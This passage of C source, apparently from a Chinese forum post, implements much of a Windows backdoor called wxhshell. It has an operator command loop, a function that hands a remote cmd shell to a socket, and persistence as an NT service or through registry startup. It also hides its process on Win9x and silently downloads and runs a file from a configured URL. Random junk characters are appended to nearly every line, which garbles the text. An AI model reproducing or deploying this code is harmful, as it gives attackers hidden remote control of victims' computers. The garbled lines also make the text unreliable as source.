  // 帮助 _D~a4tgS  
  case '?': { k{~5pxd-t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )7^jq|  
    break; &kG<LGXP#  
  } -Q; w4@  
  // 安装 {-xnBx  
  case 'i': { zF PSk ]  
    if(Install()) $IHa]9 {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfT7  
    else (I$hw"%&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AF@C9s  
    break; _PIk,!<  
    } tVOx  
  // 卸载 $[Fk>d  
  case 'r': { 5M*p1^ >  
    if(Uninstall()) =F9-,"EAI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /SiQw7yp%  
    else ^N]*Zf~N?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW6.c]Vo  
    break; WCH>9Z>cj  
    } $Ix^Rm9c  
  // 显示 wxhshell 所在路径 }^H_|;e1p  
  case 'p': { *b&|  
    char svExeFile[MAX_PATH]; Xy._&&pt  
    strcpy(svExeFile,"\n\r"); J8jbtL O'  
      strcat(svExeFile,ExeFile); g0l- n  
        send(wsh,svExeFile,strlen(svExeFile),0); 9;PtY dJ8  
    break; <t8})  
    } 2h=RNU|  
  // 重启 wNlp4Z'[  
  case 'b': { !Ej<J&e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rh=h{O  
    if(Boot(REBOOT)) {?8rvAj Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^dyQhb  
    else { q45n.A6a  
    closesocket(wsh); z8o Sh t`+  
    ExitThread(0); ;.iy{&$  
    } 5q\]]LV>  
    break; %\A~w3E  
    } ?1YK-T@  
  // 关机 Q8_d]V=X:  
  case 'd': { BsJClKp/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?IK[]=!  
    if(Boot(SHUTDOWN)) QZX+E   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDcjj1`l  
    else { ~Y{K ^:wN^  
    closesocket(wsh); :0J;^@   
    ExitThread(0); 5lT lZRH1  
    } PH6uP]  
    break; ="V6z$N  
    } LVSJK.B  
  // 获取shell mz47lv1?  
  case 's': { Hxjh P(  
    CmdShell(wsh); C`fQ` RL\  
    closesocket(wsh); }u :sh >2  
    ExitThread(0); m 9r X  
    break; [|vd r.  
  } b<%6aRC\  
  // 退出 #}.db?[Rv  
  case 'x': { dP82bk/e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )/UkJ/}j  
    CloseIt(wsh); Qk((H~I}  
    break; d;`JDT  
    } ZPXxrmq%  
  // 离开 s\@!J.Da  
  case 'q': { hUqIjcuL4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,ecFHkT>  
    closesocket(wsh); ]\{EUx9  
    WSACleanup(); _o;alt  
    exit(1); 8IO4>CMkv  
    break; HM`;%0T0(  
        } 2gA6$s7  
  } I'JFt>]  
  } `U(FdT  
kxh $R>  
  // 提示信息 9Z} -%Z[,)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D ,nF0p  
} LVX.stN#p  
  } C&\#{m_1B  
$aEL>, X  
  return; \]zH M.E1  
} u-D%: lz85  
Zf ;U=]R  
// shell模块句柄 GujmBb  
int CmdShell(SOCKET sock) 'Je;3"@  
{ BPW2WSm@<  
STARTUPINFO si; uT_bA0jK  
ZeroMemory(&si,sizeof(si)); lwSA!W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +5voAx!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h DCR>G  
PROCESS_INFORMATION ProcessInfo; |Gz(q4  
char cmdline[]="cmd"; ~OXPn9qPp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "~XAD(T6  
  return 0; }}<^f M  
} s$A|>TOY  
+ps(9O/B>  
// 自身启动模式 J%{>I   
int StartFromService(void) /@:I\&{f'9  
{ [&51m^  
typedef struct `j9 ;9^  
{ A2..gs/  
  DWORD ExitStatus; dj 4:r!5_  
  DWORD PebBaseAddress; >o.4sN@  
  DWORD AffinityMask; 5LR k)@t  
  DWORD BasePriority; umI@ej+D  
  ULONG UniqueProcessId; y-9Mm9J  
  ULONG InheritedFromUniqueProcessId; F8nR.|  
}   PROCESS_BASIC_INFORMATION; *y0TtEd;  
05Ak[OOU>  
PROCNTQSIP NtQueryInformationProcess; S3$&}I <  
BKi@c\Wb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p[>! ;qI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Ge$?ZFH  
RGsgT^  
  HANDLE             hProcess; a0~LZQ?  
  PROCESS_BASIC_INFORMATION pbi; 3v\}4)A[  
0 *2^joUv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]v=A}}kS  
  if(NULL == hInst ) return 0; PY[nnoF"|  
4S5U|n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,?S1e#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +87|gC7B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ''tCtG" Xi  
dSkMA  
  if (!NtQueryInformationProcess) return 0; }"Clv /3_  
Qu|H_<8g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1aDx 6Mq  
  if(!hProcess) return 0; I;FHjnn(  
EV/DJ$C }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )\Am:?RH;  
T,r?% G{XE  
  CloseHandle(hProcess); 7_HFQT1.N  
}20~5!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); id+ ~ V  
if(hProcess==NULL) return 0; W[/Txc0$  
>P@g].Q-  
HMODULE hMod; FF#T"y0Y  
char procName[255]; |h%=a8  
unsigned long cbNeeded; f\xmv|8  
DaP,3>M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z9Z4MXl  
T5|e\<l  
  CloseHandle(hProcess); >e^bq/'  
Np7+g`nG  
if(strstr(procName,"services")) return 1; // 以服务启动 ]n}aePl}oU  
V_zU?}lZ^  
  return 0; // 注册表启动 5\V""fH  
} F%P"T%|  
7>"dc+Fg  
// 主模块 C~Hhi-Xl)  
int StartWxhshell(LPSTR lpCmdLine) BMug7xl"  
{ dIW@L  
  SOCKET wsl; hi`[  
BOOL val=TRUE; xpX<iT>5u  
  int port=0; _iu~vU)r  
  struct sockaddr_in door; 1oe,>\\  
I3HO><o f  
  if(wscfg.ws_autoins) Install(); ,?P<=M  
4M#i_.`z  
port=atoi(lpCmdLine); zZ6m`]{B9?  
:{+~i.*  
if(port<=0) port=wscfg.ws_port; =^1jVaAL  
^"<x4e9+j  
  WSADATA data; .' }jd#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1w~PHH`~  
DkX^b:D*f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~UJ.A<>Fh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? X6M8`  
  door.sin_family = AF_INET; VCfHm"'E8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "iTjiH)Q(  
  door.sin_port = htons(port); D&i\dgbK  
XLC9B3Jt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8OKG@hc  
closesocket(wsl); M6mgJonN|  
return 1; 6R,Y.srR  
} K[kK8i+(  
P0yDL:X[  
  if(listen(wsl,2) == INVALID_SOCKET) { }4p)UX>aWT  
closesocket(wsl); 1Y87_o'd  
return 1; TG[u3 Y4  
} ~P#mvQE)  
  Wxhshell(wsl); 2TU V9Z  
  WSACleanup(); jYi,oE  
]XU4nNi  
return 0; {.542}A  
UAPd["`)y  
} G&xtL  
+}O -WX?  
// 以NT服务方式启动 0KnL{Cj   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ("\{=XA Q  
{ Mh*r)B~%[  
DWORD   status = 0; ;Ax-f04gG  
  DWORD   specificError = 0xfffffff; s> m2qSu  
 Z/%FQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )i}j\";>L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A+="0{P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Wc5r#  
  serviceStatus.dwWin32ExitCode     = 0; ss[`*89  
  serviceStatus.dwServiceSpecificExitCode = 0; #m,H1YH M  
  serviceStatus.dwCheckPoint       = 0; Ux7LN @4og  
  serviceStatus.dwWaitHint       = 0; Iz1x|EQ  
RqgN<&g?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k?Z:=.YW  
  if (hServiceStatusHandle==0) return; LP6 p  
h{gFqkDoTI  
status = GetLastError(); rz@q W2  
  if (status!=NO_ERROR) c`soVqT$?  
{ N$6e KJ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !gve]>M  
    serviceStatus.dwCheckPoint       = 0; =..Bh8P71!  
    serviceStatus.dwWaitHint       = 0; =SXdO)%2  
    serviceStatus.dwWin32ExitCode     = status; 2 ^m}5:0  
    serviceStatus.dwServiceSpecificExitCode = specificError; g%&E~V/g$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A#. %7S  
    return; &]DB-t#\  
  } @ j^R+F  
>\d&LLAe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q,[G?vbj  
  serviceStatus.dwCheckPoint       = 0; /?eVWCR  
  serviceStatus.dwWaitHint       = 0; xvV";o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bZ\R0[0  
} V4+ |D2   
6nZ]y&$G-k  
// 处理NT服务事件,比如:启动、停止 I/`"lAFe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wb0$FZzh  
{ hx9{?3#  
switch(fdwControl) c_3B:F7  
{ VHxBs  
case SERVICE_CONTROL_STOP: *4}_2"[  
  serviceStatus.dwWin32ExitCode = 0; IMkE~0x4</  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t3@+idEb  
  serviceStatus.dwCheckPoint   = 0; C|V7ZL>W  
  serviceStatus.dwWaitHint     = 0; i>YS%&O?  
  { qYC&0`:H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (xHmucmwp  
  } BpZ~6WtBq  
  return; J8 qFdNK  
case SERVICE_CONTROL_PAUSE: 4j={ 9e<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hzo> :U  
  break; wXIRn?z  
case SERVICE_CONTROL_CONTINUE: \N9=13W<lK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Zu?Gd?  
  break; Xs~'M/> O  
case SERVICE_CONTROL_INTERROGATE: mtmC,jnD  
  break;  6:zPWJB  
}; <Ht"t]u*Bn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~*HQPp?v  
} iXDG-_K  
{<42PJtPY  
// 标准应用程序主函数 5#GMp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2][9Wp  
{ !"N,w9MbD  
h.edb6  
// 获取操作系统版本 5T x4u%g  
OsIsNt=GetOsVer(); T#ls2UL*xh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J :O!4gI  
7kLu rv  
  // 从命令行安装 $e\s8$EO  
  if(strpbrk(lpCmdLine,"iI")) Install(); +F)EGB%LXs  
i!a!qE.1  
  // 下载执行文件 if*V-$[I  
if(wscfg.ws_downexe) { &qx/ZT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A (2 0+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ok!P~2J  
} C~&E7w  
=t,oj6P~  
if(!OsIsNt) { zDvV%+RW)  
// 如果时win9x,隐藏进程并且设置为注册表启动  ``/L18  
HideProc(); f)Qln[/  
StartWxhshell(lpCmdLine); Y2L{oQ.C2  
} Qw0k-t0=4  
else 2+&;jgBP  
  if(StartFromService()) Q`k;E}x_-  
  // 以服务方式启动 tj;47UtH  
  StartServiceCtrlDispatcher(DispatchTable); sl$6Zv-l%0  
else z4YDngf=4  
  // 普通方式启动 \'2rs152  
  StartWxhshell(lpCmdLine); HM% +Y47a  
OC&BJNOi  
return 0; 2hHRitt36  
}
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只看该作者 1 发表于: 2006-10-10
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